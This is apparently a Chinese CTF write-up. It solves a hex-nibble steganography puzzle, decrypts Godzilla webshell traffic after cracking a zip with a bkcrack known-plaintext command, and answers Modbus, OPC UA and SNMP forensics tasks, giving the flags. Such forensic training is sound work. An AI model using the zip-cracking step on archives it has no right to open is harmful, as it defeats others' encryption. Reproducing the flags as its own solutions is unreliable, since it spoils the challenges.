[5, 0, 4, 11, 0, 3, 0, 4, 1, 4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 9, 10, 7, 3, 2, 13, 5, 12, 5, 5, 5, 11, 7, 12, 5, 7, 6, 9, 5, 12, 0, 11, 0, 0, 15, 7, 6, 7, 0, 11, 0, 0, 0, 8, 0, 0, 1, 3, 0, 0, 11, 12, 12, 14, 11, 10, 12, 0, 2, 14, 7, 0, 6, 14, 6, 7, 7, 5, 7, 0, 0, 15, 0, 0, 0, 1, 1, 0, 2, 2, 10, 9, 1, 6, 14, 5, 9, 8, 8, 9]


主要是分析这俩个数据

1
2
59004eb70d3a0a4a1040000d090804020080040890a0743628d650c0505657b375c0507066925bc704b00000f070607903bb
89504e470d0a1a0a0000000d4948445200000448000004d60806000000361793e500000006624b4744000000000000f943bb

这是提取的十六进制数据,两个一组,左边的是高四位,右边的是低四位,对比两组数据,低四位相同,高四位不同,同时这个高位四组成的新的十六进制就是zip文件的文件头504b0304,就可以提取出一个zip,里面有一个嘉豪

嘉豪

随波逐流提取隐藏txt得到flag

UniCTF{Y0u_4r3_4_6r347_h4ck3r_!}

BlueBreath

image-20260422172244584

看post请求先上传webshell,然后进行后续操作。追流看一下

image-20260422172437537

cookie带分号,哥斯拉流量,解密要找key,流量包还有一个压缩包,附件是是一个加密的压缩包,明文攻击破解压缩包

1
bkcrack -C hint.zip -c hint.png -x 0 89504E470D0A1A0A0000000D

image-20260422173724704

然后这个lsb隐写我是没想到这么配置

image-20260422175023215

Ahiz_2026,解密时密钥区md5值的前16位2dc3ef5ff0c67015,但是我不理解为什么wp上用的密钥是dc3ef5ff0c670152

image-20260426155823710

看相应包即可得到flag

image-20260426155917514

工厂应急流量分析

任务 1:谁把阀门打开了?

这里就是用到modbus的功能码,在modbus通信里,功能码就是告诉设备要执行什么操作。modbus操作的对象有线圈,离散输出,输入寄存器,保持寄存器。

线圈:相当于开关,在MODBUS中可读可写,数据只有00和01。
离散量:输入位,开关量,在MODBUS中只读。
输入寄存器:只能从模拟量输入端改变的寄存器,在MODBUS中只读。
保持寄存器:用于输出模拟量信号的寄存器,在MODBUS中可读可写。

根据操作对象不用有以下的功能码:

0x01:读线圈
0x05:写单个线圈
0x0F:写多个线圈
0x02:读离散量输入
0x04:读输入寄存器
0x03:读保持寄存器
0x06:写单个保持寄存器
0x10:写多个保持寄存器

题目要求的格式是

flag{0xtransaction_id_0xfunction_code_0xcoil_address}

transaction_id就是事务id,用来匹配请求和响应的标识,function_code就是功能码,coil_address就是线圈地址

过滤一下写入的的命令modbus.func_code == 5按照时间排序看第一个流量

image-20260426170236751

转换为十六进制flag{0x3c4d_0x05_0x0015}

任务 2:被读取的 NodeId

4840是OPC UA协议的默认明文端口,过滤端口4840查找字符串“ns”

image-20260426171555335

主站是192.168.1.5,从站是192.168.1.10,这里看192.168.1.5

1
ReadRequest;NodeId=ns=2;s=Valve/Status;MaxAge=0

flag{ns=2;s=Valve/Status}

任务 3:控制站域名解析结果

直接搜’ ctrlws.factory.local’

image-20260426172616940

这个其请求是发往192.168.1.10,控制站ip就是192.168.1.10

flag{192.168.1.10}

任务 4:连接建立时间

1
ip.src==192.168.1.5&&ip.dst==192.168.1.10&&tcp

image-20260426174308993

第一个包代表两个ip之间发送的tcp连接请求

image-20260426174507438

flag{2025-03-15T09:30:01Z}

任务 5:HTTP 请求痕迹

就是上图那个流量追流

1
2
3
4
5
6
7
GET /api/status HTTP/1.1
Host: ctrlws.factory.local
User-Agent: SCADA-Client/1.0
Accept: */*
Connection: keep-alive


flag{ctrlws.factory.local_/api/status}

任务 6:ICMP Echo Request 序列号

有源ip有目标ip过滤一下就行

1
ip.src=192.168.1.100&&ip.dst=192.168.1.10

image-20260426173249096

Sequence Number (BE): 291 (0x0123)

flag{0x0123}

任务 7:SNMP Get 请求的 OID

还是过滤地址

1
ip.src == 192.168.1.5 && ip.dst == 192.168.1.10 

追踪udp流

image-20260426174856984

flag{1.3.6.1.2.1.1.5.0}